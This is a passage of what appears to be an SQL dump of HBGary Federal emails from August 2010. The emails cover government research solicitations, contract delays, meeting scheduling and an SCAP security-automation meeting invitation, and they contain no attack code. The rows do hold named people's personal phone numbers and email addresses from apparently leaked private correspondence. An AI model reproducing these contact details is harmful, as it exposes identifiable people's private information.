administrative points of contact\r\n(names, addresses, phones and fax numbers, and email addresses) \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nd. Indication of willingness to attend the Workshop \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;\r\n\r\n2. Summary of technical\r\nideas (4 pages) \r\n\r\n&nbsp;\r\n\r\n3. One chart summarizing\r\nideas submitted. (1 page) \r\n\r\n&nbsp;\r\n\r\n4. Team Bio: A brief summary\r\nof the team including ongoing or prior work (1 page) \r\n\r\n&nbsp;\r\n\r\n5. Bibliography: Papers you\r\nthink are particularly relevant (1 page) \r\n\r\n&nbsp;\r\n\r\nRespondents are encouraged\r\nto be as succinct as possible while at the same time providing actionable\r\ninsight. \r\n\r\n&nbsp;\r\n\r\nSUBMISSION INSTRUCTIONS \r\n\r\n&nbsp;\r\n\r\nResponses to this RFI must\r\nbe submitted via email to DARPA-SN-10-60@darpa.mil by \r\n\r\n12:00 pm (ET), 3\r\nSeptember 2010. Please include &quot;SHIELD RFI&quot; in the subject line in all\r\ncorrespondence. \r\n\r\n&nbsp;\r\n\r\nWORKSHOP \r\n\r\n&nbsp;\r\n\r\nA DARPA-sponsored workshop\r\nis being planned for September 27-28, 2010 in Arlington, VA for the purpose of\r\nreviewing and discussing current and future research relevant to this RFI.\r\nInformation discussed at this workshop may assist in the formulation of\r\npossible future areas of DARPA research with the objective of creating tools\r\nand techniques for the anonymization of social network data. \r\n\r\n&nbsp;\r\n\r\nSpace for the workshop is\r\nlimited and attendance will be by invitation only. Invitations will be based\r\non white papers submitted, per the instructions below, no later than 12:00 pm\r\n(ET), 3 September 2010. Some participants may be asked to make formal\r\npresentations. The workshop format will be a combination of group discussion\r\nand presentations. Invitations will be sent via email by 12:00 pm (ET), 13\r\nSeptember 2010, and will provide further details on the workshop (times,\r\nlocation, etc.). All attendees will be encouraged to participate in general\r\ndiscussions and to make recommendations for future research in the area. \r\n\r\n&nbsp;\r\n\r\nELIGIBILITY \r\n\r\n&nbsp;\r\n\r\nDARPA invites participation\r\nfrom all those engaged in related research activities and appreciates responses\r\nfrom all capable and qualified sources including, but not limited to,\r\nuniversities, university-affiliated research centers, Federally-Funded Research\r\nand Development Centers (FFRDC), private or public companies and Government\r\nresearch laboratories. \r\n\r\n&nbsp;\r\n\r\nDISCLAIMER\r\n\r\n\r\n&nbsp;\r\n\r\nThis is an RFI issued solely\r\nfor information gathering purposes; this RFI does not constitute a formal\r\nsolicitation for proposals. In accordance with FAR 15.201(e), responses to this\r\nnotice are not offers and cannot be accepted by the Government to form a\r\nbinding contract. DARPA will not provide reimbursement for costs incurred in\r\nresponding to this RFI or attending the workshop. Respondents are advised that\r\nDARPA is under no obligation to acknowledge receipt of the information received\r\nor provide feedback to respondents with respect to any information submitted\r\nunder this RFI. Submission of a white paper is voluntary and is not required to\r\npropose to any subsequent solicitations on this topic, if any. \r\n\r\n&nbsp;\r\n\r\nNo classified information\r\nshall be included in the RFI response. White paper submissions\r\ncontaining proprietary data should have the cover page and each page containing\r\nproprietary data clearly marked as containing &#8220;proprietary&#8221; data.\r\nIt is the respondent&#8217;s responsibility to clearly define to the Government\r\nwhat is considered proprietary data. \r\n\r\n&nbsp;\r\n\r\nSubmissions may be reviewed\r\nby: the Government (DARPA and partners); Federally Funded R&amp;D Centers (such\r\nas MIT Lincoln Laboratory); and Scientific Engineering and Technical Assistance\r\n(SETA) contractors (such as Schafer Corporation, Science and Technology\r\nAssociates, CACI International, and System Analysis, Inc, etc.). \r\n\r\n&nbsp;\r\n\r\nPOINT OF CONTACT \r\n\r\nDr. Rand Waltzman, Program Manager, DARPA/IPTO. All inquiries on\r\nthis RFI must be submitted to DARPA-SN-10-60@darpa.mil. No\r\ntelephone inquiries will be accepted.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6248,'aaron_hbgary_com/6248.html'),(9441,'2010-08-02','\"Mancini, Jerry\" <jerry.mancini@fidelissecurity.com>','/aaron@hbgary.com/new/1297007263.M127262P14101Q4296.eml','\"Aaron Barr\" <aaron@hbgary.com>','Out of Office AutoReply: Fidelis Discussion','\r\n\r\n\r\n\r\n\r\nOut of Office AutoReply: Fidelis Discussion\r\n\r\n\r\n\r\n\r\nI am currently out of the office and will return on August, 9. \r\n\r\n\r\n\r\n',16881,'aaron_hbgary_com/16881.html'),(9442,'2010-08-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007263.M404809P14101Q4297.eml','Ira.Entis@agilex.com,Ira.Entis@agilex.com','PT','Hi Ira,\r\n\r\nI\'m guessing that you\'re still hammering out the details between the\r\nlegal teams?  Do you have a new estimated date for the period of\r\nperformance?\r\n\r\nTed\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',15590,'aaron_hbgary_com/15590.html'),(9443,'2010-08-02','arc@westfields.net','/aaron@hbgary.com/new/1297007263.M697896P14101Q4298.eml','federal@hbgary.com','BOLT RFP submission extension','\r\nThe Request For Proposal (RFP) submission date has been extended for NRO-BOLT. Please check the effort\'s website for updated information.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Unclassified Internet (World Wide Web) ARC accessible  via https://arc.westfields.net/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), and I Have an Account on that system\'s ARC website.\r\nOn the Internet go to https://arc.westfields.net/, log in using your Internet ARC username and password, click on Current Efforts, and select BOLT from the Open Source Listing.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Internet ARC, go to https://arc.westfields.net/, click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Internet ARC for any purpose.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web) ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Internet ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Internet email address has changed since your last login, please email (preferred) the web development team at dev@ticom.com or call 703-449-8010 for help in resetting your password.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',5432,'aaron_hbgary_com/5432.html'),(9444,'2010-08-02','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297007264.M524046P14101Q4300.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: PT','Correct.  At a contractual impasse we are working on.\r\n\r\n\r\nOn Aug 2, 2010, at 2:31 PM, Ted Vera wrote:\r\n\r\nHi Ira,\r\n\r\nI\'m guessing that you\'re still hammering out the details between the\r\nlegal teams?  Do you have a new estimated date for the period of\r\nperformance?\r\n\r\nTed\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n',3250,'aaron_hbgary_com/3250.html'),(9445,'2010-08-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007264.M7050P14101Q4299.eml','\"Barr Aaron\" <aaron@hbgary.com>','IARPA / ROSE','A Pre-Solicitation Conference has been scheduled for the Intelligence\r\nAdvanced Research Projects Activity’s (IARPA) Research Office Support\r\nEnvironment (ROSE) on 20 August 2010. Doors open at 9:00AM for\r\nregistration with the conference beginning at 9:30AM at the ACE\r\nfacility located at 14672 Lee Road Chantilly, VA 20151.  The purpose\r\nof the conference will be to provide information in anticipation of\r\nthe release of a new solicitation for Scientific, Engineering and\r\nTechnical Assistance (SETA) support to ROSE, to address questions from\r\npotential proposers, and to provide a forum for potential proposers to\r\nmeet and find potential team partners.\r\n\r\nThis announcement serves as a pre-solicitation notice and is issued\r\nsolely for information and planning purposes. This Pre-Solicitation\r\nConference does not constitute a formal solicitation for proposals or\r\nproposal abstracts. Conference attendance is voluntary and is not\r\nrequired to propose to future solicitations (if any) associated with\r\nthis program.\r\n\r\nIARPA was established as a key subordinate activity to the Office of\r\nthe Director National Intelligence (ODNI) in October 2007. IARPA\r\ninvests in high-risk, high-payoff research programs that have the\r\npotential to provide our nation with an overwhelming intelligence\r\nadvantage over future adversaries. This research is parsed among three\r\nOffices: Smart Collection, Incisive Analysis, and Safe &Secure\r\nOperations. Additional information about IARPA can be found at our\r\nwebsite at www.IARPA.gov.\r\nImportant Notice to all potential Offerors: Please see Intelligence\r\nAdvanced Research Projects Activity’s (IARPA) Approach to Managing\r\nOrganizational Conflicts of Interest (OCI) found on our website noted\r\nabove. In part it states:\r\n\r\n An organization may not simultaneously serve IARPA as both a SETA\r\nprovided and “Performer”. More specifically, if an organization\r\nprovides SETA support to IARPA in any capacity (to include support to\r\nsenior staff, front office, research offices, or programs), the\r\norganization is not eligible to compete for work as a “Performer” on\r\nany IARPA program or seedling effort. This guideline applies to all\r\norganizations providing SETA support to IARPA regardless of their\r\nstatus as either a prime contractor, or subcontractor (at any\r\nlevel/tier).\r\n	a. An organization must decide whether to be a “SETA”, with access to\r\nprivileged Government information, or to be a “Performer” and compete\r\nfor IARPA research opportunities.\r\n	b. An organization may change its role from “SETA” to “Performer”\r\n(and vice versa) over time, but the Government may impose restrictions\r\non the “back and forth” to adhere to the principle of ensuring a fair\r\ncompetitive process.\r\n\r\nAgain for full content of the document please see visit our website\r\nnoted above.\r\nRegistrations are accepted ONLY through the registration tab of this\r\nwebsite. Only two (2) representatives per company will be allowed to\r\nregister. Registration must be received no later than 12:00 noon,\r\nlocal time, 17 August 2010.  Only the first 200 registrants will be\r\naccepted due to limited space at the facility. Additional attendees\r\nfrom each company (beyond the first two representatives) may be put on\r\na wait list and invited later on a space-available basis.\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',4030,'aaron_hbgary_com/4030.html'),(9446,'2010-08-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007265.M153779P14101Q4301.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Cyber Command and Control (C2)','We may want to look for teammates - this just posted on 7/30.\r\n\r\nCyber Command and Control (C2) Technologies\r\nSolicitation Number: BAA0809-RIKA\r\nAgency: Department of the Air Force\r\nOffice: Air Force Materiel Command\r\nLocation: AFRL - Rome Research Site\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=469c4244591cd831a56529e46106aba5&tab=core&_cview=1\r\n\r\nThe Air Force Research Laboratory, in partnership with the Global\r\nCyber Integration Center (GCIC) is soliciting white papers for various\r\nscientific studies, projects, and experiments focused on developing\r\ncapabilities to provide the Air Force the means to conduct C2 of cyber\r\nassets. GCIC, a sub organization under Air Force Cyber Command\r\n(AFCYBER), is chartered to conduct Command and Control and cyber\r\ninnovation, experimentation, and transition. For the purpose of this\r\nBAA, AFRL and GCIC will partner to address emerging cyber concepts,\r\ntechnologies, and experimentation to further enhance cyber C2 for the\r\nwarfighter.\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',16561,'aaron_hbgary_com/16561.html'),(9447,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007265.M400089P14101Q4302.eml','\"MB Toth\" <mbt.rbtoth@gmail.com>','Re: NRO Director\'s Innovation Initiative','Hey Mike,I will be in Bethesda up until about 11-1130. &nbsp;After that I am free tomorrow. &nbsp;My Wednesday is open right now as well.AaronOn Aug 2, 2010, at 9:40 AM, MB Toth wrote:Aaron,It would be great to catch up!&nbsp; Tomorrow is free if it works for you.&nbsp; Let me see how rest of week holds together.MikeOn Mon, Aug 2, 2010 at 9:21 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHey Mike,Sorry for the silence. &nbsp;Do you have time to catch lunch this week?\r\nAaronOn Jul 30, 2010, at 5:07 PM, MB Toth wrote:Aaron, Ted,\r\nNot sure if you\'ve seen the attached BAA, which you can access at https://dii.westfields.net/Just on quick review, there seem to be some interesting opportunities with regard to video game technologies and security capabilities that may be in your area of interest.\r\n\r\nLet me know when you might be free for lunch in August, Aaron!Enjoy the summer,\r\nMike\r\n\r\n&lt;NRO FY2011_BAA_Final.doc&gt;\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16297,'aaron_hbgary_com/16297.html'),(9448,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007265.M696440P14101Q4303.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Cyber Command and Control (C2)','yeah like akamai.\r\n\r\nOn Aug 2, 2010, at 2:39 PM, Ted Vera wrote:\r\n\r\n> We may want to look for teammates - this just posted on 7/30.\r\n> \r\n> Cyber Command and Control (C2) Technologies\r\n> Solicitation Number: BAA0809-RIKA\r\n> Agency: Department of the Air Force\r\n> Office: Air Force Materiel Command\r\n> Location: AFRL - Rome Research Site\r\n> \r\n> https://www.fbo.gov/index?s=opportunity&mode=form&id=469c4244591cd831a56529e46106aba5&tab=core&_cview=1\r\n> \r\n> The Air Force Research Laboratory, in partnership with the Global\r\n> Cyber Integration Center (GCIC) is soliciting white papers for various\r\n> scientific studies, projects, and experiments focused on developing\r\n> capabilities to provide the Air Force the means to conduct C2 of cyber\r\n> assets. GCIC, a sub organization under Air Force Cyber Command\r\n> (AFCYBER), is chartered to conduct Command and Control and cyber\r\n> innovation, experimentation, and transition. For the purpose of this\r\n> BAA, AFRL and GCIC will partner to address emerging cyber concepts,\r\n> technologies, and experimentation to further enhance cyber C2 for the\r\n> warfighter.\r\n> \r\n> -- \r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11135,'aaron_hbgary_com/11135.html'),(9449,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007265.M907921P14101Q4304.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Cyber Command and Control (C2)','how about akamai and mantech.\r\n\r\nOn Aug 2, 2010, at 2:39 PM, Ted Vera wrote:\r\n\r\n> We may want to look for teammates - this just posted on 7/30.\r\n> \r\n> Cyber Command and Control (C2) Technologies\r\n> Solicitation Number: BAA0809-RIKA\r\n> Agency: Department of the Air Force\r\n> Office: Air Force Materiel Command\r\n> Location: AFRL - Rome Research Site\r\n> \r\n> https://www.fbo.gov/index?s=opportunity&mode=form&id=469c4244591cd831a56529e46106aba5&tab=core&_cview=1\r\n> \r\n> The Air Force Research Laboratory, in partnership with the Global\r\n> Cyber Integration Center (GCIC) is soliciting white papers for various\r\n> scientific studies, projects, and experiments focused on developing\r\n> capabilities to provide the Air Force the means to conduct C2 of cyber\r\n> assets. GCIC, a sub organization under Air Force Cyber Command\r\n> (AFCYBER), is chartered to conduct Command and Control and cyber\r\n> innovation, experimentation, and transition. For the purpose of this\r\n> BAA, AFRL and GCIC will partner to address emerging cyber concepts,\r\n> technologies, and experimentation to further enhance cyber C2 for the\r\n> warfighter.\r\n> \r\n> -- \r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2069,'aaron_hbgary_com/2069.html'),(9450,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007266.M210748P14101Q4305.eml','\"Matthew Steckman\" <msteckman@palantir.com>','Met with Bill this morning?','Hey want to get together tomorrow afternoon or Wednesday?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5957,'aaron_hbgary_com/5957.html'),(9451,'2010-08-02','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297007266.M542882P14101Q4306.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Met with Bill this morning?','I did meet with Bill, he has quite the resume.\r\n\r\nI\'ll be in NYC Tue and Wednesday.  I could possibly do Thursday sometime in\r\nthe afternoon.\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 02, 2010 2:56 PM\r\nTo: Matthew Steckman\r\nSubject: Met with Bill this morning?\r\n\r\nHey want to get together tomorrow afternoon or Wednesday?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12922,'aaron_hbgary_com/12922.html'),(9452,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007266.M832083P14101Q4307.eml','\"Matthew Steckman\" <msteckman@palantir.com>','Re: Met with Bill this morning?','Yes he does.  So does his Boss Ken Bajaj.\r\n\r\nMaybe lunch? :)  I have to jet around 130.\r\n\r\nAaron\r\n\r\nOn Aug 2, 2010, at 2:59 PM, Matthew Steckman wrote:\r\n\r\n> I did meet with Bill, he has quite the resume.\r\n> \r\n> I\'ll be in NYC Tue and Wednesday.  I could possibly do Thursday sometime in\r\n> the afternoon.\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantir.com | 202-257-2270\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, August 02, 2010 2:56 PM\r\n> To: Matthew Steckman\r\n> Subject: Met with Bill this morning?\r\n> \r\n> Hey want to get together tomorrow afternoon or Wednesday?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8732,'aaron_hbgary_com/8732.html'),(9453,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007270.M609411P14101Q4308.eml','\"Zosh\" <mydocs@zosh.com>','DMI','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16804,'aaron_hbgary_com/16804.html'),(9454,'2010-08-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007271.M798882P14101Q4310.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','FW: Invite: 13 Aug 2010 -  Join Us for a Public - Private Security Automation Collaboration Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Monday, August 02, 2010 6:01 AM\r\nTo: \'Penny Leavy-Hoglund\'\r\nSubject: FW: Invite: 13 Aug 2010 - Join Us for a Public - Private\r\nSecurity Automation Collaboration Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nHere is a reply from Paul\r\nBartock about his upcoming Aug 13 meeting in Mountain View.&nbsp; This meeting\r\nis about his SCAP program.&nbsp; My impression is the attendees will be policy\r\npeople and thinking wonks, not people who buy and implement software.&nbsp; I\r\ndon&#8217;t think it would be a great event for me to attend, especially since it\r\nwill involve require significant travel time.&nbsp;&nbsp; But it could be good\r\nto send somebody from HQ especially if HBGary wants to get involved in the SCAP\r\nprogram.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bartock, Paul F.\r\n[mailto:p.bartoc@radium.ncsc.mil] \r\nSent: Monday, August 02, 2010 8:16 AM\r\nTo: Bob Slapnik\r\nSubject: RE: Invite: 13 Aug 2010 - Join Us for a Public - Private\r\nSecurity Automation Collaboration Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob,\r\n\r\n&nbsp;\r\n\r\nAt this time there are over 75\r\npeople attending&nbsp; representing the commercial network vendor community and\r\nUS Gov&#8217;t folks from DHS, NIST DISA and NSA. &nbsp;&nbsp;And the number is\r\ngrowing fast is it was talked about a lot at BlackHat.\r\n\r\n&nbsp;\r\n\r\nThe attachment contains&nbsp;\r\nsome of the talks abstracts, will provide more to you in the next coming days.\r\n\r\n&nbsp;\r\n\r\nPaul \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nPaul Bartock\r\n\r\nemail: pfbart2@nsa.gov\r\n\r\n\r\n\r\nphone (410) 854-9860\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, July 27, 2010 8:06 PM\r\nTo: Bartock, Paul F.\r\nSubject: RE: Invite: 13 Aug 2010 - Join Us for a Public - Private\r\nSecurity Automation Collaboration Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPaul,\r\n\r\n&nbsp;\r\n\r\nHBGary is looking at sending\r\npeople to this event, but we would like a bit more info.&nbsp; One of our\r\nmotivations would be to go there for networking purposes.&nbsp; Can you kindly provide\r\ninfo on the agenda, how many people are attending, and what kinds of people\r\nwill be there (their organization types, target audience, etc.)\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice\r\nPresident&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; |\r\nMobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;\r\nbob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny 